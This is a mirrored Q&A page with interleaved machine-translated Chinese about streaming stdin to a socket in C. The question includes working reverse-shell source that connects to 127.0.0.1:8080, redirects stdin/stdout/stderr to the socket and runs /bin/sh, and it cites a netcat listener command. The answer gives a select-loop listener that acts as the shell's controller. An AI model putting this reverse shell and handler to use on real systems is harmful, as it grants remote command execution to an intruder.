简体   繁体   English

将标准输入流式传输到套接字

[英]Streaming stdin to a socket

Within Python 3 I can utilize the telnetlib 's library to use/import the method interact which can allow me to stream stdin to a socket passed to the interact method.在 Python 3 中,我可以利用telnetlib的库来使用/导入方法interact ,这可以让我将stdin到传递给interact方法的socket Additionally netcat provides similar features (except being able to programmatically pass a socket within Python 3 of course) for instance: nc -nvlp 8080 .此外, netcat提供了类似的功能(当然除了能够以编程方式在 Python 3 中传递socket ),例如: nc -nvlp 8080

My questions are:我的问题是:

Is there a way to programmatically replicate the behavior of telnetlib 's interact method/streaming the stdin stream to a given socket within C?有没有办法以编程方式复制telnetlibinteract方法的行为/将stdin stream 流式传输到 C 内的给定socket Or is this process convoluted?还是这个过程很复杂? If it is simplistic, how could the interact method's logic be replicated within C?如果过于简单,那么如何在 C 中复制interact方法的逻辑?

For instance say I was running a simple client C reverse shell program similar to SSH that uses dup2 to stream stdin , stdout , stderr to a duplicated socket file descriptor . For instance say I was running a simple client C reverse shell program similar to SSH that uses dup2 to stream stdin , stdout , stderr to a duplicated socket file descriptor . How would I be able to communicate with this client programmatically within C?我如何能够在 C 中以编程方式与该客户端通信?

Example C client I am trying to communicate with programmatically:示例 C 客户端我正在尝试以编程方式与之通信:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 8080

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));

    for (int i=0; i<3; i++)
           dup2(s, i);

    execve("/bin/sh", 0, 0);
    return 0;
}

To summarize: I am basically trying to communicate with the provided client programmatically within C.总结一下:我基本上是尝试在 C 内以编程方式与提供的客户端进行通信。

I am basically trying to communicate with the provided client programmatically within C.我基本上是尝试在 C 中以编程方式与提供的客户端进行通信。

A program which does what you want needn't be big;一个做你想做的事情的程序不需要很大; here's a simple example:这是一个简单的例子:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 8080

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = INADDR_ANY;
    sa.sin_port = htons(PORT);
    int s = socket(AF_INET, SOCK_STREAM, 0);
    if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) perror("bind"), exit(1);
    listen(s, 0);
    int t = accept(s, NULL, NULL);
    if (t < 0) perror("accept"), exit(1);
    fd_set fds, fdr;
    FD_ZERO(&fds);
    FD_SET(0, &fds);    // add STDIN to the fd set
    FD_SET(t, &fds);    // add connection to the fd set
    while (fdr = fds, select(t+1, &fdr, NULL, NULL, NULL) > 0)
    {   char buf[BUFSIZ];
        if (FD_ISSET(0, &fdr))
        {   // this is the user's input
            size_t count = read(0, buf, sizeof buf);
            if (count > 0) write(t, buf, count);
            else break; // no more input from user
        }
        if (FD_ISSET(t, &fdr))
        {   // this is the client's output or termination
            size_t count = read(t, buf, sizeof buf);
            if (count > 0) write(1, buf, count);
            else break; // no more data from client
        }
    }
}

The key part is the select loop which checks for STDIN or the socket connection to be readable and copies the read data to the other side.关键部分是select循环,它检查 STDIN 或套接字连接是否可读,并将读取的数据复制到另一端。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM